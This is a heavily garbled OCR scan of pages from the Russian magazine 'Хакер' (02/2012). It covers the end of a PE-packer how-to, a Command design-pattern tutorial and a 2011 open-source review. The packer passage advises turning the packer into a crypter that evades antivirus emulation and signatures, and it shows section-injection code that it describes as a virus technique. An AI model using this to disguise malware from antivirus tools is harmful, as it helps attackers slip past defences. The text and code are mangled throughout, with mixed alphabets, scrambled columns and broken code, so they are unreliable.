ваться утилитой Ып2h ( www. dеаdпоdе.ог g /sw/Ып2h/ l. Она кон вер­ тнет любой бинарник в удобный сишный хедер, все данные в нем будут выглядеть как-то так :

ПЕРЕДЕЛЫВАЕМ В КРИПТОР Собственно, от криптора наш

недостаточно. Нужно как-то усложнить

Также ключ можно сделать эависимым от

пакер отличает совсем немногое:

эадачу. Например, не прописывать ключ

какой-нибудь неэмулируемой функции или

отсутствие функции шифрования и

хог'а в теле загрузчика. То есть загрузчик

структуры. Только их еще найти надо.

противоэмуляционныхприемов.Самое

не будет знать, каким ключом ему надо

простое, что можно с ходу сделать, это

расшифровывать код, он будет его

добавить хог всего образа сразу после

перебирать в определенных нами рамках. Это

какие-нибудь продвинутые вирусные

распаковки в загрузчике. Но, чтобы

может занять какое-то время, которое есть у

движки для генерации мусора и всяческого

эмуляторы антивирусов пода вились, этого

польэователя, в отличие от антивируса .

видоизменения кода, благо их в Сети навалом.

098

Чтобы код загрузчика не палился сигнатурно, можно прикрутить к упаковщику

ХАКЕР

02/157/201 2


HOW-TO: РЕ-пакер

unsigned int loader_size = 1536; unsigned char loader[] = { 0x4d , 0х5а ,. 0х00 , 0х00 , 0х01 , 0х00 , 0х00 , Скармливаем ей файл с нашим лоадером и получаем всё не­ обходимое для дальнейших извращений. Теперь, если придер­ живаться алгоритма, описанного в начале статьи, мы должны

прицепить к загрузчику сжатый образ. Здесь нам с Волком придется вспомнить 90-е и свое вирмейкерское прошлое. Дело в том, что внедрение данных или кода в сторонний РЕ-файл

-

это

чисто вирусная тема. Организуется внедрение большим количе­ ством разных способов, но наиболее тривиальные и популярные

-

это расширение последней секции или добавление своей

собственной. Добавление, на наш взгляд, чревато потерями при

выравнивании, поэтому, чтобы встроить сжатый образ в наш

загрузчик, мы расширим ему Iзагрузчикуl последнюю секцию. Вернее , единственную секцию -

лишнего

мы же изба вились от всего

;1.

Алгоритм действий будет такой:

Находим единственную секцию I.textl в загрузчике . Изменяем ее физический размер, то есть размер на диске

ISizeOfRawDatal. Он должен быть равен сумме старого разме­ ра и размера сжатого образа и при зтом выравнен в соответ­

Наш упаковщик сжал

nolepad.exe лучше, чем UPX!

ствии с файловым выравниванием IFilеАligпmепtl.

Изменяем виртуальный размер памяти IMisc.VirtuaISizel, при­

пt->ОрtiопаlНеаdеr.SizеОflmаgе

= +

бавляя к нему размер сжатого образа.

ALIGN{test->Мisс.VirtuаlSizе

Изменяем размер всего образа загрузчика 10ptionalHeader.

пt->ОрtiопаlНеаdеr.FilеАligпmепt);

SizeOflmagel по древней формуле [виртуальный размер по­ следней секции] + [виртуальный адрес последней секции], не забывая выравнивать значение по FileAlignment. Копируем сжатый образ в конец секции.

test->VirtuаlАddrеss,

'/ Вычисляем размер получившегося файла DWORD dwNewFileSize = рSесtiопs->SizеОfRаwDаtа + test->РоiпtеrТоRаwDаtа;

Тут есть небольшая хитрость. Дело в том, что наша студия

делает виртуальный размер IMisc.VirtualSizel секции с кодом I.textl равным реальному невыравненному размеру кода, то есть указывает размер меньше физического. А значит, есть шанс

сэкономить до 511 байт. То есть так бы мы записали данные после кучи выравниваю­ щих нулей, а зная фишку, можно записаться поверх этих нулей. Вот как все наши мысли будут выглядеть в коде:

О, мы едва не забыли заменить метки OxDEADBEEF и OxBEEFCACE, оставленные в загрузчике, на реальные значе­ ния! OxBEEFCACE у нас меняется на размер сжатого обраэа, а OxDEADBEEF - на его абсолютный адрес. Адрес образа вы­ числяется по формуле [адрес образа] + [виртуальный адрес секции] + [смещение образа относительно начала секции]. Следует отметить, что замену надо производить еще до обнов­ ления значения

Misc.VirtuaISize, иначе полученный в результате

файл не заработает. Расширение секции

//

Ищем и заменяем метки с помощью очень простого цикла:

кода

Создаем копищ образа нашего загрузчика с запасом по

памяти

РВУТЕ

pbLoaderCopy = ' new BYTE[loader_size + dwCompressedSize + 0х1000 ]; memcpy{pbLoaderCopy, (LPBYТE)&loader, loader_size);

/1

Определяем его заголовки

PlМAGE_DOS_HEADER PlМAGE_NT_HEADERS

dos nt =

= (PlМAGE_DOS_HEADER)pbLoaderCopy;

text->Мisс.VirtuаlSizе;

Makeptr{PlМAGE_NT_HEADERS,

11

for ( int i = 0; i < simple_packer_size; i++) i f (*{DWORD*){&pbLoaderCopy[i]) == 0xBEEFCACE ) *(DWORD*){&pbLoaderCopy[i]) = dwCompressedSize; else i f (*{DWORD*){&pbLoaderCopy[i]) == 0xDEADBEEF ) *(DWORD*){&pbLoaderCopy[i]) = пt->ОрtiопаlНеаdеr.lmаgеВаsе + text->VirtuаlАddrеss +

pbLoaderCopy, dos->e_lfanew); Вот, собственно, и всё . Теперь в памяти у нас есть упакованный

Расширяемая секция

и готовый к работе файл, достаточно сохранить его на диске с по­

PIMAGE_SECTION_HEADER text

мощью функций CreateFile/WriteFile.

11

Копируем сжатый образ в конец секции поверх нулей

ВЫВОД Ы

memcpy{&pbLoaderCopy[ text->РоiпtеrТоRаwDаtа

+ text->Мisс.VirtuаlSizе], lpCompressedJmage, dwCompressedSize);

11

Фиксим физический размер. учитывая фишку с

text->SizеОfRаwDаtа

Misc.VirtualSize

+ dwCompressedSizeJ

пt->ОрtiопаlНеаdеr.FilеАligпmепt);

Фиксим виртуальный (а на самом деле реальный) размер

text->Мisс.VirtuаlSizе

/1

Фиксим размер образа

ХАКЕР

02/157/2012

UPX

на примере

notepad.exe - мы выигрываем примерно 1 Кб: 46 592 байта у нас против 48128 у UPX. Однако наш пакер далеко не со­ вершенен. И это очень заметно.

Дело в том, что мы сознательно проигнорировали такую

=

ALIGN{text->Мisс.VirtuаlSizе

'l

Если сравнивать эффективность сжатия нашего упаковщика с

+= dwCompressedSize;

важную вещь, как перенос ресурсов. Полученный в результате сжатия файл потеряет иконку! Реализовать недостающую функ­

цию предстоит тебе самому. Благодаря полученным из этого материала знаниям, никаких сложностей у тебя с этим делом не возникнет. ::Х::

099


кодинг

deeonis Ideeonislagmail.com!

атте-- н УНИФИЦИРУЕМ ИНТЕРФЕЙСЫ ВЫПОЛНЕНИЯ КОМАНД Большая часть современного ПО разрабатывается группами программистов. Кто-то отвечает за пользовательский интерфейс, кто­ то за ядро, а кто-то за дополнительные

модули. Чтобы работа всех этих людей не пропала даром, нужно грамотно

объединить разные части проекта, не забыв при этом о возможном его расширении . Для этого нам пригодится

паттерн проектирования «Команда», который инкапсулирует в себе исполнителя задачи и ее условия .

...

.. . .

",

' .

'.. • •:

. • ' • . '0

. .

.' ••

.

.. '.

. .' . : . . '.', . . .. . ..... : ... . .' ..'.. . о.·.· . о' . . . • . . . " '.: • . -. ', '. , ' . , , ' . . '. .. .. .. . ' .. '.... ' .. . .'

.'

..... .

"

... "

'

'

"

................

,,:'

о. .... ~

.'

'

о ' "

".

'.'

..

'

: .... "

..:.

' ...

......

.. .... : .

. ... •

:

..'

~.',

'

:

00

"

'.

",: .: :

О.

••••

.,'

....

:::. . :

~

• •: . . . .

.',

",

•••

•••••••

.

.. •

.'

:'.

.~ .'

••

0'0

:.: •

О.' '. ', 'о '

. . " :

" ." . '. ' . ' : '. ' . ' ..... ..... ... . . .' .. "

"

.' . ::' ... '. .... . ... •

•••• • • :

•••

'

'.'

0'0'

.. :


Паттерн «Команда»

авай представим, что мы работаем в компании, которая

Д

Для такой изоляции нам нужно определить объект команды,

пишет с ложный многокомпонентный софт. Проект узкоспе­

а следовательно, и соответствующий интерфеЙс. Он достаточно

циализированный и имеет много разнообразных модулей ,

прост и определяет всего один метод executell, который должен

количество которых может со временем расширяться . Наша задача

выполнять метод какого-либо из модулей.

состоит в том, чтобы написать гибкую и удобную систему горячих

клавиш для этой программы. Набор возможных сочетаний ограни­

Интерфейс объекта «Команды»

ч и ва е тся хоткеями от

class Command

комбинацию

ctrl-z

<ctrl-O> до <ctrl-9>,

а также включает в себя

для отмены действия.

Казалось бы, всё просто: накодил большой блок

switch,

который

public : void execute()

при нажатии ра з ных сочетаний кнопок вызывает ту или иную

,

(3 '

функцию какого-либо модуля, и радуйся. Но, во-первых, такой подход не отличается гибкостью. Когда проект пополнится новыми модулями или

hotkeys,

Для определения конкретного объекта мы просто объяв­

нам придется менять код зтого раздутого

о ператора ветвления, из-за чего он впоследствии раздуется еще

ляем новый класс, который наследует интерфейс

больше . А во-вторых , начальство большими красными буквами на­

и определяем его метод executell . Допустим, мы хотим создать

п и сало, что у пользователя должна быть возможность переназна­

команду, запускающую калькулятор. Для этого мы создадим

чить эти горячие клавиши . Таким образом, жестко забить команды

класс RunCalcCommand, который будет наследовать интерфейс Command, и переопределим executell для вызова метода runCalcl1 модуля Calculator.

в код

switch

У нас точно не выйдет.

Вз глян у в на код модулей проекта и списки их команд, которые

Command,

можно присвоить хоткеям , мы еще больше убеждаемся, что при­

дется изрядно помучиться, прежде чем мы придумаем более-менее

Команда

рабочую архитектуру всего этого.

class RunCalcCommand: publ ic Command

Интерфейсы модулей,

доступные для обращения через

запуска

калькулятора

Calculator 'calc; public : RunCalcCommand(Calculator 'excalc)

HotKeys

class Calculator

{

= excalc;

calc

public : void runCalc (); void closeCalc();

}

void execute() { calc->ruпСаlс();

class Printer public : void printDocument(); void printlmage(); void printEmail();

Если внимательно присмотреться к коду команды, то можно заметить, что в конструкторе класса указатель на модуль

Calculator.

RunCalcCommand

передается

Это сделано для большей гибкости .

В будущем у нас может появиться класс

ModernCalculator,

вы­

зывающий продвинутую версию расчетной программы. Используя

class Browser

композицию, то есть не фиксируя исполнителя жестко в коде,

public : void runBrowser(); void closeBrowser();

// C-.,D:

tuct108

.~~. &"a..JЦ'

(

СO'U.Шld. I )

t.u. eK~tute

.. tuncuo. O

О .

UU. un!XIi!CUt.e .. tuN:t1oa (!

//

и дальше много всяких разных

классов

//

~_ndl

r-:uo..

l'iII'

Отбросив лирику, перейдем к изучению паттерна «Команда», кото­

~. t)lecute

.. t\mct.1oa (DtucaJ.C\ti8t;O C,

( t rPl!:>Of (лnotе lcu1е.toz: ) . ... оЬ]li!с [ ..

может выбрать из списка одну из команд, предоставляемых модулями,

ope l:lIlId

-

это

к лиент, АРI-функции модулей , вызываемые с помощью горячих

-

-

hotkeys

I •• " :5tJ::l.Ло;(' ... t,mto f (newQp ttlll\d ) •• "пuиbt[" ) I

II ~.(NUUU

"

/1

tш.:ti.o.8 ()

opecand.);

(

~ оСр.!'ЖИ ~

c UcuJatot . op"atiOl:l (UDdo lopel:atot ). opetan4 j;

" t..:t1oa

W'U1o (ope,acor

(

II .~'КAШU .ерне!' оощ.;пор, ~ lrЩi'e.roiЮfalr6f

11

это задачи, а модули, предоставляющие эти задачи,

это исполнители. Окошко с настройками

I\!vОрt t 8П(\

'-оса! (nе_Ор Сt8 tо r J

non!Operand ;

са.1 сuJаtо с . ореr. t lon l ореЖ:8 tor ,

LII.iJo. unE'lCccut.e ..

и закрепить ее за определенным сочетанием клавиш .

..

c 81CII1.toc - _.calculatoc; ор еса со[ MO!Operatoc;

,

в котором пользователь

Формально выражаясь, обработчик нажатий клавиатуры

~ p t [ liI.t.o [ .

/1 ~Jroa."tJ".I)DCТI)O.II1I:aWla1I1

if

разобраться, что мы имеем. У нас есть множество модулей с самыми

к лавиш,

{

Optl&n4:

рый дол жен помочь нам в этом нелегком деле . Для начала следует

API. Также у нас есть окошко,

IJJtfЦJМИU II»QШ~

CtUcuJ I:I.t.OrCouanl1 0 ...... c: a.1cu1al;.g [ ; ...r optt.t.O t ;

ПАТТЕРН «КОМАНДА»

разнообразными

{} ;

/Ч»I' ~,tЮ(Н', N8tIЖI

J.xno.n"". ""ICII'

~.rJt«МНIМ't 1f не

nep61.' oi"'l

~7'Op

nttclt{opfteCOr ) (

представ­

t". . .

с

'.' :

... '.' ;

ret-. ' - ' ; Iore.k ; цtwr.ll

' . ' ; Ione); ;

ляет собой некий посредник между клиентом и исполнителем, скрывающий все детали выполняемых операций. Такая структура позволяет полностью отделить клиент от исполнителя, то есть

I ttLlOOlI.totCOJ..ll.anf1. ptototypf · .", tOllll8Dd !J: ta1cu.lll.totCOUAJЦi. prOtotypt . cOn5f.roctot .. ta.1culatot t o~ ;

пользователь понятия не имеет, какой модуль работает при нажа­

11 1ec:e.l.JI"U: ~'N.'D r..ct.1o_ tal culato t \ J I

тии той или иной комбинации клавиш и что он делает. И это очень

y3r ~

О;

хорошо, так как чем лучше изолированы друг от друга части кода,

тем надежней работает программа .

ХАКЕР 02 / 157/ 20 12

Пример кода на

Java

101


кодинг

. __ С __ .

мы увеличиваем изолированность кода, что в будущем позволит

__ .Сi!l.С.сН.UП.Сi!.1!;J).;.

сзкономить время.

. J __ .... ________ .__..__.____.____ __

Теперь нужно связать команду с хоткеем. Для зтого можно

создать массив указателей на объекты класса

Command.

Размер

массива будет равен количеству поддерживаемых горячих клавиш.

__ .I!QJd__

Ctrl

. __________ .J; al__c.c~clQs.e.CflJ..C (

составляет какое-либо из возможных

ctrl-a

до

ctrl-k,

).; __ __

----1----

сочетаний, в числовое эначение. Если бы мы использовали сочета­ ния, например, от

. __ . ________ . __

с

х откеем . В нашем случае для этого можно преобразовать значение кнопки, которая вместе с

uпфО

____

Каждый злемент массива команд сопоставляется с определенным

}--.------.---- . .--.--.------ .----------------.--

то нам бы потребовался немного

Мы просто добавили метод undoll, который должен быть

другой подход.

Получив код нажатого сочетания клавиш и преобра зо вав его

переопределен в классах-наследниках. Программист сам решает,

в соответствующий индекс для массива команд, мы можем смело

какую именно функцию модуля будет использовать метод отмены.

вызывать метод

Так, метод undoll для RunCalcCommand будет обращаться к функ­

executell объекта, указатель на который находится

ции closeCalcl1 модуля Calculator. Нам также потребуется немного

в нужной ячейке массива .

подправить код обработчика клавиатуры. Ha3f!;;!'!-'i!Н!1е . Д).м.аНдь! ..НiiI... !Jqt!<gу

.11 __ ее __ ~<ю}'!;1<, 11 .. КQ.!I __ ~t!lI\lI.и.i!~~.3.i! ц~.и __ КQ!'1i!нд.t,сJ1 )~.QI.Кgя .... ____ о сопst __ .:iлt соm~оuп1; =__ J,e ; __ Сqml1J.эгн;I *. __ .СРЛ'Шi!!J9 5 [c.Q!!!.cP.unt] ; __.

9бра!1.Qт.Ч И.К __ М.<!!!.i-li!Т)/IJ.!>I. !; !1Qд.!Iep~1<,9.i.i .. 9.IMel:l.b! ____ ..________

1/ __ к.QД

.И.ню,mjjЛ~~j;!ц11И.. КQм.аН.!I!>I.. и.

СQmЛ!i!.оQ*..С.QЛ!rn.ад<;l.sIСQ.rnС.Q.I,шtJ~ .....

CaJ,J;IJJ,.i!'tor__

*.с,i!l!;= . лgW __ С;;IJJ;.цli!'t.or (}; .______ .

СОrnmшн:js[ е]

__ C'__ .ne.w

*lаstСощmi!J1Q __

CQI1Jm.iJnd

=

XQTKef.l

__ о

.. ____ .. ____ .____ .__ .

_ _ _ _ _ _ _ _ _ _ • _ _ _ _ _ • • • __

_

__ .________ .____ .. ____ .__________.__ .__ .____ ._____ __ ______ .______ ... _ ... __.. __ ._____ . __ ._.

леW__ .NОСQmща!1d.().~

RU!J.СаlсJ;:рrnrnапс;!(цЙ.С );

С.аl.с.У,l.i!t.ог____*.са).с __ =. л.еw . Са.J..с,uJi1.t.9ГС); __ сgЛ!rn.<!nds

11

[eJ . "'.

пеw.. в,UЛСfl1С.СQJn пщпQ(с,<J1,,);

__ ..... ____.__ .. ______________ __

IJqл)/чае~ !!iiI~aTbIe __ кл.!!виши __

hgt!<e)/ .C' cat.c,hJ:igtXe)/.o; ЛР.еQ.бра3Qе.Ь!!щем . ИХ. в . инд.ек!= И. ~.,юу ~ кае!'1 i!Jt.__ iпQ.ех= . hQ,tkеу2iлQех(hQt.l<еу); . __ соmm.аГ!J;lsliпd.ех1с ~exeJ;.IJte() ; ______ .__

11

I / __ KOA. В . командУ. __

HotКe}' *h.Q1;J~e}'

11.__F;,,,ли. Всё довольно-таки просто. Можно определить еще несколько наследников

Command,

9.QР.<!9р:гчик;е наЖ<lI.И.!1 клав.и<Jтуры1 __ _. __..

IJ. Лщ,учае!'1. __ на1Кать!е. __ клавищи . __

. __

=__ ч!'tсhНоtКеуО; ______ __

qТQ__ .QТ!'1ена. __ .Т.Q . JiI!>I.З.Ь.l.8.аем .с,q.QтвеТ"Т!!уtQщиЙ .метод

.________ .

i f.__ChptkeY.c. ~.str() .~C'__ " .сtгl.с.z':J . {

которые будут выполнять определенные

действия, и связать их с горячими клавишами . Такая архитектура позволяет полностью отделить клиент от исполнителей. Обработ­ чик клавиатуры понятия не имеет, какой модуль обрабатывает ко­

}

манду и что именно он делает, а модули, в свою очередь, не подо­

зревают, что обращение к ним осуществляется с помощью

hotkeys,

а не каким-то другим способом.

Здесь мы про сто запоминаем в переменной

ОТМЕНА KOMAH~Ы

lastCommand

указатель на последнюю использованную команду и при нажатии

Вроде бы всё хорошо, но мы совсем забыли про отмену. Сочетание

ctrl-z

клавиш

бегаем к небольшому трюку, используя объект пустой команды

ctrl-z должно

откатывать действие по следней команды.

Реализовать отмену довольно просто, хотя на первый взгляд может

вызываем соответствующий метод. Дополнительно мы при­

NoCommand.

Код этого класса выглядит так:

по казаться, что зто совсем не так. Для этого мы немного изменим

интерфейс

Command.

IJY.~IfI.!!..I<,Р~fI.НАа. __r-!q.С9.l1Jrn"пd .

с 1 <!.S.? __NgCgmm;JnQ : Кmкс __ '9rnl1JаlJd.,..!!оддеР)!!Иl;lающиЯ__ o-r:Меf!}' __ __

p.IJb1;i..c.

__. __ __

С9t1JШiJп.d

...

С

cJass.__ ~Qmmand { -puQl;i c . .I!Р.j,9. __ .е,хес.ut.ел

vqi,d

__ =__ е.; __ .

Команда (шаблон проектирования)

JюdQ(J __ = е ; ________ .

)'_~~II~'---'_ к-..

}

KeII ....... - W.а-~~~ ,~ ...

1

~~_~.

r.,.Ac--.ц""А _ _ O6wocr~"_IC"'C_A'Acт_""'~,

.

<м"_

,-,...,.-

clas.s. ВJ,шСаJ\;J;:.qrnm;;lпd;... Jн.ФJi!; __ Command {

_ ,,

"_.. ~,, I ~ 2~ ... м.J ....

ээг.м.,JМВсrlpt

J tn.мw.~

риЬЦ.!; .:

__ . J1,YJ1(<!lС (Рl1Jrn;!nd (~fll.c.YlatQr С ..

.c.<!,l!;= __ .eKc,al,,,.;__ __

..... НftS

3S ........' ... VllNEТ 'С(_

.-*еХсаl,(;)

__ .. ______ о

I~'-I

с..._np~"IOfOPOIICIIКt-Фl1lI8lПUlo"_с.~",_"'mrО'Т"fТ8N81p11М"'.

Opr_..... ~_.tКII..::cy. ~._"'.c.~_,.,..tm.... OnмC:""8 ~oO,t6om:J

} --

:

Цель

__

._.oII_, __'*c"""""" .. •

n......,..IOfIUIII, I _ _ _ IЩ. . . . . . 8OIA.,...,..m ••

--- -, -.....-.

...""""'*"*-".-' 1. . -1 ' - - - - - . - - . -.,.........,

,"""'8Un..~

...oWAII,"' .. ~tICf.

I""

I ~J

I

Wikipedia про паттерн «Команда».

102

ХАКЕР

02/157/2012


Паттерн «Команда»

.... y.QJd e~.et;.LJ:te( ) .. .0.; .....уо~.d . lJлg.QО . {}.; ... .

Client

l

)--

} ....................................... .

J Такие объекты-заглушки используются довольно часто . Они

Invoker

]

~

Command Execute!l

нужны , чтобы уменьшить количество проверок нулевого указателя. Е с ли бы l аstСоmmапd был равен NULL, то перед вызовом метода undol! нам пришлось бы проверять корректность значения этого

~I

указателя, что нежелательно, так как однажды мы можем забыть

Receiver Action!l

~

ConcreteCommand Executell :.... ....... ----.-- ............................• state у

это сделать, в результате чего программа с грохотом упад е т. Такие же объекты-заглушки рекомендуется использовать и для осталь­ ных хоткеев, которым не назначены соответствующие команды.

1 J

Кстати, код обработчика клавиатуры можно модифицировать так, чтобы он поддерживал отмену не только последней операции, но и вообще всех цепочек выполненных команд. Для этого вместо

receiver->Action!l;

простого указателя на последнюю команду следует испольэовать

с тек . При обработке какого-либо хоткея в стек будет добавляться

указатель на соответствующую команду. Таким образом, мы полу­ чим полную историю вызовов команд, что позволит нам последо­

вательно все отменить при помощи

Диаграмма кnассов паттерна

ctrl-z. себя и undol!. Обработчик клавиатуры при обращении к объекту

МАКРОКОМАН,цы Макросы - одно из величайших

команды понятия не имеет, макрос это или обычная единичная

изобретений человечества, по­

могающее ему экономить тонны времени. Наш паттерн позволяет

операция, и

главное, что все они предоставляют функции executel!

undol) .

реализовывать макрокоманды всего лишь с помощью нескольких

дополнительных строк кода . Для начала определим класс , отве­ чающий за логику группового выполнения операций.

РАСШИРЕННЫЕ ВОЗМОЖНОСТИ ПАТТЕРНА «KOMAH,Q,A» Наш паттерн можно использовать не только для обработки горячих

~".~PQKOMal:loII"..........

сочетаний клавиш. С помощью него можно организовывать очере­

с).<!s~... Мач:оJ;о.mm,шQ .; ... Р\JЬJj..ссQ.mmапd ... { ._ .............................. ..... (:omm'H1J:j... ~ c9mm.<!I'].g.s~ ..

ди запросов. Допустим, что у нас есть пул потоков, который должен

.... in.t

выполнять некоторые эадания. Все задания представляют собой объекты , реализующие уже знакомый нам интерфейс

Command .

Команды выстраиваются в очередь, к которой последовательно

соmСQUЛ1;;

............................................. . pul?),,;i,.c : ......................................._ .............................

обращаются потоки. Они эабирают команды из этой очереди и за­

... ~flC rQC.Qro!1!fl n9{(;.Qro!1!ang ..! .cQmilrriW> .~o1;.. еlеШ(:Qщсt;: ).....................

пускают их методы executel!. Потокам не важно, что делают эти объекты - главное, чтобы они поддерживали вызов executel) . Команды можно сохранять на жестком диске и восстанавли­

.....J ....... _.................................

вать их оттуда. Для этого следует немного расширить их базовый

....... _ .... t;Qшroflл d s ...=...с_QJJlАrr.ау4..... _ ......... __ .... _ ..... . ... _ ........ соroС.9JJЛС ,:,...eJe.m(QUl1_t .; . ......}............................................... .

интерфеЙс.

CQffimanc;l .. t.:.. nQAдep1I!J~o.~ ..СQ.J'(раfЩНИ!! ..из.а.ГРУ~J(И... ... YQig e~.ec;.uteO _ .. ... ..{

t;Jass . СОПJ!1щпd { .. р.фltс : .......

=..

.... Y.9 id ...e!<.e cuteO.. ~ ~ ................................. .......vоi.9 .. JJлф.( 1.. ~ ; ...... yoicl.. Jg.<!dO_.= . ~.; ..... ....... vo;i,d ...s.:tQre 0 ...= . ~.; }.

. fQr ...C;i,n t i ... ~~ .i ...~._t;QmCo.t!nt; i ++1_.... { .............................. .

=...

... _....... _.....~QПJmап.d.sНJ :.>е.1<е.с ute (J;.._.. . .......•..... .} ............................. .......

} ....................................... . Метод loadl! предназначен для сохранения команды в журнале, а storel) - для ее восстановления оттуда. Код этих методов может

.... ..УQJ.cI .uJJ.Qgл ..

...... 1.

использовать механизмы сериализации языка программирования,

если таковые в нем есть. Такая функциональность нужна для рабо·

.:fQf.J in.t i .=,. ~ ; .J ...5. . иm(:QJJлt; i±:f:) ..... .... { ..... _....................... _._.......... ....... ... .

ты с большими объемами данных, которые невозможно сохранять после совершения с ними каждого действия. При сбое программы

. СQffim.а пd sН1- > uпQQО; ..........._.•.... _._ ..

мы сможем загрузить сохраненные команды и последовательно

......... J ._ .... ....

}

применить их к имеющейся копии данных для приведения этих

}

данных в актуальное состояние.

...... .

ЗАКЛЮЧЕНИЕ Как видно, класс

Command

MacroCommand

С помощью паттерна « Команда» нам удалось полностью отделить

является наследником

и переопределяет всё те же методы

execute

и

undo. В

ин­

разношерстные модули-исполнители от клиента

-

обработчика

терфейсе от обычной команды он отличается лишь конструктором .

клавиатуры. Если в будущем в программе появятся новые модули ,

Этот класс принимает не указатель на исполняющий модуль, а мас­

мы сможем легко добавить соответствующие команды и назначить

сив указателей на простые команды. Код executel! просто проходит

им горячие клавиши. Это будет простое , изящное и эффективное

по элементам массива и вызывает каждый из них . Так же ведет

решение. :Х:

ХАКЕР

02/157/2 01 2

103


ХАКЕР

02/157/2012


Победы и поражения ореп

source - 2011

",от:. Пальму первенства в списке самых попу­ лярных опенсорсных проектов из года в год

удерживает

Linux.

Думаю, не сильно ошибусь,

если предположу, что он установлен более чем на полумиллиарде устройств. Главным со ­

бытием в области разработки ядра в

2011

году

стала смена нумерации . Вместо версии, кото- · рая должна была выйти под номером

2.6.40,

в середине прошлого года вышла версия

3.0. Никаких особых новшеств (кроме вроде как официального ухода от Big Kernel Lock), которые могли бы оправдать смену нумерации, не было, просто Линусу показалось, что сорок релизов ветки

2.6 -

зто слишком много и пора

что -то менять. Теперь первая цифра в номере релиза будет меняться не только в случае по­

явления радикальных нововведений (часто ло­ мающи х обратную совместимость), но и через каждые сорок релизов (при текущей скорости разработки цифра в очередной раз сменится

примерно через десять лет). В прошлом году зарелизились версии

2.6.39

и

3.0-3.1.

Добро пожаловать в ОеЫап

6

2.6.37связи) и

В любом релизе основная

OpenRISC (открытый процессор

ется, например, LХС-системой виртуали­

часть (если мерить в строчках кода) изме­

с производительностью примерно на уровне

нений касается добавления или улучшения

ARM10).

выставлять лимиты на запись или чтение

драйверов для тех или иных устройств. Все

данных (в байтах в секунду или

изменения перечислять не имеет смысла,

Поддержка технологии NFC (Near Field Communication), служащей для обмена

поэтому приведу те из них, которые заслужи­

данными на очень небольшом расстоянии

вают внимания:

(около

рованные окружения (особенно сетевые подсистемы).

Новый драйвер для

Intel GMA500 (когда-то

зации уровня ОС) появилась возможность

IOPS'ax).

Серьезно оптимизированы виртуализи­

10 см). Основная сфера применения

на сегодняшний день- различные системы

довольно широко использовался в нетбу­

электронных платежей (например, в той же

Крупных изменений, которым подверглись

к а х вме с те с Intel Atom Z-серии). Раньше

Google Wallet).

файловые системы, насчитывается не много:

нормальный драйвер было сложно сделать

Многочисленные улучшения , касающиеся

Многообещающая

из-за лицензионных соглашений: в отли­

работы на

носжиматьданныенадискахпоалгоритму

чие от железок , которые

и

с нуля ,

Поддержка таких специфически х устройств,

превосходство над прежним методом

как

zlib, а для

Intel разработала Intel GMA500, по сути, представляет собой PowerVR SGX 535 от Imagination Technologies. Сейчас драйвер всё равно оставляетжелатьлучшего, но его потихонь­ купилят.

Поддержка секторов размером более

512

SSD (в частности, в dm-crypt

LZO. Тесты

ext4). Microsoft Kinect и Nintendo Wii Remote.

Существенные изменения в DRМ-модулях

(Direct Rendeгing Manager, не путать с Digital rights management) от Intel, Radeon и

Nouveau . Для

всех чипов

проиэводительность (особенно для послед­ него поколения - Sandy Bridge) и уменьше­

Поддержка видеокартс интерфейсом

показывают его существенное

некоторых операций и над теми

методами, которые вообще не используют компрессию.

Также в Вtгfsдобавилась автоматическая

дефрагментация (опция монтирован ия « -о

Intel увеличена

байт Blibata (например, 4 Кб, как во многих современных винтах) .

Btrfs научилась прозрач­

но потребление энергии. Также добавлена

autodefrag»). В SquashFS, которая широко используется на LiveCD, добавлена поддержка формата XZ

и USВ2VGА-переходников (для подключения

поддержка еще не выпущенных процессо­

для сжатия данных.

моников через

ров семейства

USB

Поддержка новыхпроцессорныхархитек­

Ivy Bridge и всех последних видеокарт Radeon и Nouveau. Проведена

В сетевой подсистеме появились следующие

тур: UпiСоге-32 (разработан идостаточно

оптимиэация для различных чипов: так ,

фичи:

активно используется в Китае), 64-Ы! Tileгa

в некоторых тестах

(процессоры с очень большим количеством

двукратного роста проиэводительности.

ядер- до

USB) .

100 штук, -

NVI DIАудалосьдобиться

довольно часто встре­

Accel-pptp - реализация РРТР/РРРоЕ/ L2ТР-сервера и РРТР-клиента, работающих на уровне ядра. По разным данным, они по­

чающиеся в роутерах, файерволах, базовых

Ни один релиз не обошелся без существенных

вышают производительность минимум в два

станциях высокоскоростных сетей сотовой

изменений в подсистеме виртуализации:

раза по сравнению с решениями, работаю­

В

KVM теперь можно запускать виртуальные

машины на виртуальной машине (вложенная

GNOME 3,2 в Fedora 16

ХАКЕР

02 / 157/2012

щими в

user-space. Кстати,

разработчик­

наш соотечественник.

виртуализация) .

Протокол маршрутизации В.А.т.М.А . N.

Поддержка Хеп ОотО (хост-режим) наконец­ то появилась и в ванильном ядре. И это очень

(Better Approach То Mobile Adhoc Networking), предназначенный для mesh-

радует, так как разработчики некоторых

сетей (сети, где каждый хост связан с сетью

дистрибутивов (в частности , ОеЫап) со­

черезсоседниехосты).

бирались уже отказаться от поддержи Хеп .

Новая реализация кода поддержки

Кроме того, добавлены патчи для изменения

target.

количества ОЗУ гостевых систем на леп>

Возможность монтировать DFS-ресурсbI

и проброса (pass through) устройств PCI

(DistгiЪuted

вгостевыесистемы.

Возможность привязывать к сетевому ин­

В механиэме cgroups (который использу-

терфеЙсувсеадресапроизвольноЙподсети .

iSCSI

File System) Windows 2008.

105


UNIXOID

Днстрнб)"ТНВ

РеЙТllиr

Н . Р.О*

1

Mint

2828.

2

Ubuntu

2098т

3

Fedora

1686т

4

oBenSUSE

5

DеЫап

6

Arch

1455. 13161214-

7

PCLinuxOS

1002т

8

CentOS

963.

9

~ Mandriva

871 т

10

ний безопасности и фиксов ошибок 'а также,

простота кастомизации внешнего вида с по­

возможно, бэкпортирование некоторых фичl .

мощью плагинов, написанных на и С55. На сайте

DESIOOP ENVIRONMENT

можно найти и установить прямо из браузера

в прошлом году среди мажорных релизов. Так,

'правда, пока поддерживается только Firelox со специальным плагиномl большое количе­

с задержкой примерно на год вышел

ство дополнений .

Вообще, цифра три была довольно популярна

Основное нововведение

Gnome 3.0.

интерфейс, карди­

-

нально отличающийся от интерфейса

2.

После выхода

Gnome

Далеко не все пользователи приняли его

собираются развивать форк старого

Gnorf1e

(которой в прошлом году, кстати, ис­

Gnome3

невозможно использовать, и он подо­

KDE

ждет на

XFCE, пока появится форк Gnome21.

полнилось 15 летl свою революцию уже

Помимоновогоинтерфейса , появилисьсле­

пережила. В ближайшем будущем новая пока не планируется, разработчики просто по­

дующие фичи:

Переделано единое окно

Control Center для

тихоньку пилят четвертую ветку. Вышло две

настройки всех пара метров системы.

версии

В

которые в них появились:

